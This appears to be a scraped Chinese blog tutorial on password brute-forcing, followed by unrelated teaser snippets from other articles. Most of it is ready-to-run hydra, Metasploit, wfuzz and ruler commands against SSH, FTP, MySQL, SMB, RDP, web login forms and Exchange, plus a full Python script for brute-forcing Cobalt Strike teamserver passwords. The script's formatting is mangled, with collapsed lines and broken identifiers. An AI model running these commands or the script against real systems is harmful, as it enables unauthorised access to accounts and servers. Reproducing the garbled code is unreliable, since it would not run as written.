当前位置: 首页 > news >正文

Web安全——穷举爆破下篇(仅供学习)

Web安全

  • 一、常见的端口服务穷举
    • 1、hydra 密码穷举工具的使用
    • 2、使用 hydra 穷举 ssh 服务
    • 3、使用 hydra 穷举 ftp 服务
    • 4、使用 hydra 穷举 mysql 服务
    • 5、使用 hydra 穷举 smb 服务
    • 6、使用 hydra 穷举 http 服务
    • 7、使用 hydra 穷举 pop3 服务
    • 8、使用 hydra 穷举 rdp 服务
    • 9、使用 hydra 穷举 http-proxy 服务
    • 10、使用 hydra 穷举 imap 服务
    • 11、使用 hydra 穷举 telnet 服务
  • 二、xhydra 穷举工具破解各种服务
  • 三、metasploit 穷举模块的使用
  • 四、御剑 RDP 爆破工具的使用
  • 五、wfuzz 多线程穷举密码
  • 六、邮箱密码的穷举
    • 1、企业独立搭建的邮服 用 MailCracker 进行破解
    • 2、针对 163 qq 这些邮箱用 mail 脚本进行穷举
  • 七、CobaltStrike TeamServer 口令暴力破解
  • 八、对 apache-tomcat 服务进行穷举
  • 九、超级弱口令穷举使用
  • 十、exchange 邮服穷举

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp

使用例子

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s <PORT>
小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE>
指定用户名字典
-p <PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>
大写,指定密码字典
-e <ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M <FILE>
指定目标列表文件一行一条
-o <FILE>
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>
同时运行的线程数,默认为 16
-w <TIME>
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等

OPT
可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户

hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

在这里插入图片描述

3、使用 hydra 穷举 ftp 服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

在这里插入图片描述

4、使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

5、使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f

在这里插入图片描述
在这里插入图片描述

6、使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

在这里插入图片描述

7、使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

在这里插入图片描述

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

模块的用法
首先启动在终端下启动 msfconsole use 使用 ssh_login 模块
在这里插入图片描述
在这里插入图片描述

use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
在这里插入图片描述

RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击
在这里插入图片描述
在这里插入图片描述

四、御剑 RDP 爆破工具的使用

在这里插入图片描述

五、wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params <url> 
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

在这里插入图片描述
在这里插入图片描述

六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

在这里插入图片描述

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。
在这里插入图片描述

七、CobaltStrike TeamServer 口令暴力破解

在这里插入图片描述
Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versiMIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address") 	parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file") parser.add_argument("-p", dest="port", default=50050, type=int,help="Teamserver port") parser.add_argument("-t",dest="threads", default=25, type=int,help="Concurrency level") args = parser.parse_args()#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socketclass NotConnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass DisconnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass Connector:def init (self): self.sock = None self.ssl_sock = Noneself.ctx = ssl.SSLContext() 		self.ctx.verify_mode = ssl.CERT_NONE passdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close() self.sock = None 	self.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0 data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv() data_buffer = 			data_buffer + data_in 		received_size += len(data_in)return data_bufferdef passwordcheck(password): if len(password) > 0:result = Noneconn = Connector() 			conn.open(args.host, args.port)payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) 		conn.send(payload)if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse:return Falseelseprint("Ignored blank password") passwords = []if args.wordlist:print("Wordlist: {}".format(args.wordlist)) passwords = open(args.wordlist).read().split("\n")	else:print("Wordlist: {}".format("stdin")) for line in sys.stdin:passwords.append(line.rstrip())if len(passwords) > 0:print("Word Count: {}".format(len(passwords))) 		print("Threads: {}".format(args.threads))start = time.time()# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-pythonattempts = 0failures = 0with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check): password = future_to_check[future]try:data = future.result() attempts = attempts + 1 if data:print("Found Password: {}".format(password)) except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))print("Attempts: {}".format(attempts)) print("Failures: {}".format(failures)) finish = time.time()print("Seconds: {:.1f}".format(finish - start))print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

在这里插入图片描述
https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。
在这里插入图片描述
在这里插入图片描述

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
在这里插入图片描述

在这里插入图片描述

九、超级弱口令穷举使用

在这里插入图片描述

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

相关文章:

Web安全——穷举爆破下篇(仅供学习)

Web安全 一、常见的端口服务穷举1、hydra 密码穷举工具的使用2、使用 hydra 穷举 ssh 服务3、使用 hydra 穷举 ftp 服务4、使用 hydra 穷举 mysql 服务5、使用 hydra 穷举 smb 服务6、使用 hydra 穷举 http 服务7、使用 hydra 穷举 pop3 服务8、使用 hydra 穷举 rdp 服务9、使用…...

强大的JTAG边界扫描(5):FPGA边界扫描应用

文章目录 1. 获取芯片的BSDL文件2. 硬件连接3. 边界扫描测试4. 总结 上一篇文章&#xff0c;介绍了基于STM32F103的JTAG边界扫描应用&#xff0c;演示了TopJTAG Probe软件的应用&#xff0c;以及边界扫描的基本功能。本文介绍基于Xilinx FPGA的边界扫描应用&#xff0c;两者几乎…...

苍穹外卖集成 Apache POI Java实现Excel文件的读写下载

苍穹外卖 day12 Echats 营业台数据可视化整合_软工菜鸡的博客-CSDN博客 Apache POI - the Java API for Microsoft Documents Project News 16 September 2022 - POI 5.2.3 available The Apache POI team is pleased to announce the release of 5.2.3. Several dependencies …...

iOS逆向:工具安装

二〇二三年〇八月二十三日&#xff08;2023版&#xff0c;iOS逆向笔记&#xff09; 对其他APP的实现感兴趣&#xff0c;对技术报以热枕&#xff0c;不去做违反职业道德和违法乱纪的事情&#xff0c;欢迎来到iOS逆向。 工欲善其事必先利其器 ------我说的。 网络不好可配置DNS 1…...

十种数据库缓存相关的技术和机制

数据库的缓存 -- 通过将数据库中的数据或结果集保存在内存或其他快速访问的介质中&#xff0c;能够加快查询响应&#xff0c;减少对磁盘或远程服务器的访问&#xff0c;降低资源消耗。 根据缓存的位置、内容、粒度、更新方式等不同&#xff0c;数据库缓存技术有多种类型和策略。…...

【C++】封装unordered_map和unordered_set(用哈希桶实现)

前言&#xff1a; 前面我们学习了unordered_map和unordered_set容器&#xff0c;比较了他们和map、set的查找效率&#xff0c;我们发现他们的效率比map、set高&#xff0c;进而我们研究他们的底层是由哈希实现。哈希是一种直接映射的方式&#xff0c;所以查找的效率很快…...

面试问题回忆

&#xff08;1&#xff09;查看端口 lsof -i:8080 / netstat lsof -i:8080&#xff1a;查看8080端口占用 lsof abc.txt&#xff1a;显示开启文件abc.txt的进程 lsof -c abc&#xff1a;显示abc进程现在打开的文件 lsof -c -p 1234&#xff1a;列出进程号为1234的进程所打开…...

更多场景、更多选择,Milvus 新消息队列 NATS 了解一下

在 Milvus 的云原生架构中&#xff0c;消息队列&#xff08;Log Broker&#xff09;可谓任重道远&#xff0c;它不仅要具备流式数据持久性、支持 TT 同步、事件通知等能力&#xff0c;还要确保工作节点从系统崩溃中恢复时增量数据的完整性。 在 Milvus 的架构中&#xff0c;一切…...

如何通过python实现一个web自动化测试框架?

要实现一个web自动化测试框架&#xff0c;可以使用Python中的Selenium库&#xff0c;它是最流行的Web应用程序测试框架之一。以下是一个基本的PythonSelenium测试框架的示例&#xff1a; 1、安装Selenium 在终端中输入以下命令&#xff0c;使用 pip 安装 Selenium&#xff1a…...

Linux —— 信号阻塞

目录 一&#xff0c;信号内核表示 sigset_t sigprocmask sigpending 二&#xff0c;捕捉信号 sigaction 三&#xff0c;可重入函数 四&#xff0c;volatile 五&#xff0c;SIGCHLD 信号常见概念 实际执行信号的处理动作&#xff0c;称为信号递达Delivery&#xff1b;信…...

【【萌新编写riscV之计算机体系结构之CPU 总二】】

萌新编写riscV之计算机体系结构之CPU 总二&#xff08;我水平太差总结不到位&#xff09; 在学习完软件是如何使用之后 我们接下来要面对的问题是 整个程序是如何运转的这一基本逻辑 中央处理器(central processing unit&#xff0c;CPU)的任务就是负责提取程序指令&#xff0…...

error:03000086:digital envelope routines::initialization error

项目背景 前端vue项目启动突然报错error:03000086:digital envelope routines::initialization error 我用的开发工具是vscode&#xff0c;node版本是v18.17.0 前端项目版本如下↓ 具体报错如下↓ 报错原因 node版本过高 解决方法 1输入命令 $env:NODE_OPTIONS"--op…...

暴涨130万粉仅用3个月,一招转型成B站热门UP主

- 导语 起号难、找不到内容方向、没流量、没粉丝等等运营困境环绕在创作者之间&#xff0c;近期&#xff0c;有黑马UP主短时间内就在B站涨粉百万&#xff0c;飞升成为热门UP主&#xff0c;以下&#xff0c;飞瓜数据&#xff08;B站版&#xff09;剖析黑马UP主运营技巧&#xf…...

【Linus】vim的使用:命令模式、底行模式、插入模式、视图模式、替换模式的常用操作介绍

目录 注意&#xff1a;以下操作前提是要确保你输入法是英文模式 一、进入和退出各个模式的方法 1.命令模式 2.底行模式 3.插入模式 4.视图模式 5.替换模式 二、在命令模式中一些常用的操作 1.移动光标 2.删除文字 3.复制 4.替换 5.撤销上一次操作 6.更改 7.跳至指…...

leetcode第362场周赛补题

8029. 与车相交的点 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a;差分数组 class Solution { public:int numberOfPoints(vector<vector<int>>& nums) {int diff[102] {}; for(auto p : nums)//差分{diff[p[0]] ;diff[p[1] 1] -- ;}int res …...

SpringMvc 之crud增删改查应用

目录 1.创建项目 2.配置文件 2.1pom.xml文件 2.2 web.xml文件 2.3 spring-context.xml 2.4 spring-mvc.xml 2.5 spring-MyBatis.xml 2.6 jdbc.properties 数据库 2.7 generatorConfig.xml 2.8 日志文件log4j2 3.后台代码 3.1 pageBean.java 3.2切面类 3.3 biz层…...

【业务功能109】微服务-springcloud-springboot-Skywalking-链路追踪-监控

Skywalking skywalking是一个apm系统&#xff0c;包含监控&#xff0c;追踪&#xff0c;并拥有故障诊断能力的 分布式系统 一、Skywalking介绍 1.什么是SkyWalking Skywalking是由国内开源爱好者吴晟开源并提交到Apache孵化器的产品&#xff0c;它同时吸收了Zipkin /Pinpoint …...

《向量数据库指南》——AI原生向量数据库Milvus Cloud 2.3架构升级

架构升级 GPU 支持 早在 Milvus 1.x 版本,我们就曾经支持过 GPU,但在 2.x 版本中由于切换成了分布式架构,同时出于对于成本方面的考虑,暂时未加入 GPU 支持。在 Milvus 2.0 发布后的一年多时间里,Milvus 社区对 GPU 的呼声越来越高,再加上 NVIDIA 工程师的大力配合——为…...

Flutter中实现交互式Webview的方法

前言&#xff1a; Flutter是一款强大的跨平台移动应用开发框架&#xff0c;而Webview则是在应用中展示Web内容的重要组件。本文将介绍如何在Flutter应用中实现交互式的Webview&#xff0c;以便为用户提供更加丰富的内容和功能。 1. 引入webview_flutter插件 要在Flutter应用中…...

【Java Web】用Redis优化登陆模块

使用Redis存储验证码 验证码需要频繁访问和封信&#xff0c;对性能要求高&#xff1b;验证码不需要永久保存&#xff0c;通常在很短时间内失效&#xff1b;分布式部署&#xff0c;存在Session共享问题&#xff1b; 使用Redis存储登陆凭证 处理每次请求时&#xff0c;都要查询用…...

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制&#xff0c;因此这个了16进制的数据既可以翻译成为这个机器码&#xff0c;也可以翻译成为这个国标码&#xff0c;所以这个时候很容易会出现这个歧义的情况&#xff1b; 因此&#xff0c;我们的这个国…...

java_网络服务相关_gateway_nacos_feign区别联系

1. spring-cloud-starter-gateway 作用&#xff1a;作为微服务架构的网关&#xff0c;统一入口&#xff0c;处理所有外部请求。 核心能力&#xff1a; 路由转发&#xff08;基于路径、服务名等&#xff09;过滤器&#xff08;鉴权、限流、日志、Header 处理&#xff09;支持负…...

【OSG学习笔记】Day 18: 碰撞检测与物理交互

物理引擎&#xff08;Physics Engine&#xff09; 物理引擎 是一种通过计算机模拟物理规律&#xff08;如力学、碰撞、重力、流体动力学等&#xff09;的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互&#xff0c;广泛应用于 游戏开发、动画制作、虚…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

MODBUS TCP转CANopen 技术赋能高效协同作业

在现代工业自动化领域&#xff0c;MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步&#xff0c;这两种通讯协议也正在被逐步融合&#xff0c;形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...

CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云

目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...

Java编程之桥接模式

定义 桥接模式&#xff08;Bridge Pattern&#xff09;属于结构型设计模式&#xff0c;它的核心意图是将抽象部分与实现部分分离&#xff0c;使它们可以独立地变化。这种模式通过组合关系来替代继承关系&#xff0c;从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

Webpack性能优化:构建速度与体积优化策略

一、构建速度优化 1、​​升级Webpack和Node.js​​ ​​优化效果​​&#xff1a;Webpack 4比Webpack 3构建时间降低60%-98%。​​原因​​&#xff1a; V8引擎优化&#xff08;for of替代forEach、Map/Set替代Object&#xff09;。默认使用更快的md4哈希算法。AST直接从Loa…...

日常一水C

多态 言简意赅&#xff1a;就是一个对象面对同一事件时做出的不同反应 而之前的继承中说过&#xff0c;当子类和父类的函数名相同时&#xff0c;会隐藏父类的同名函数转而调用子类的同名函数&#xff0c;如果要调用父类的同名函数&#xff0c;那么就需要对父类进行引用&#…...

Docker拉取MySQL后数据库连接失败的解决方案

在使用Docker部署MySQL时&#xff0c;拉取并启动容器后&#xff0c;有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致&#xff0c;包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因&#xff0c;并提供解决方案。 一、确认MySQL容器的运行状态 …...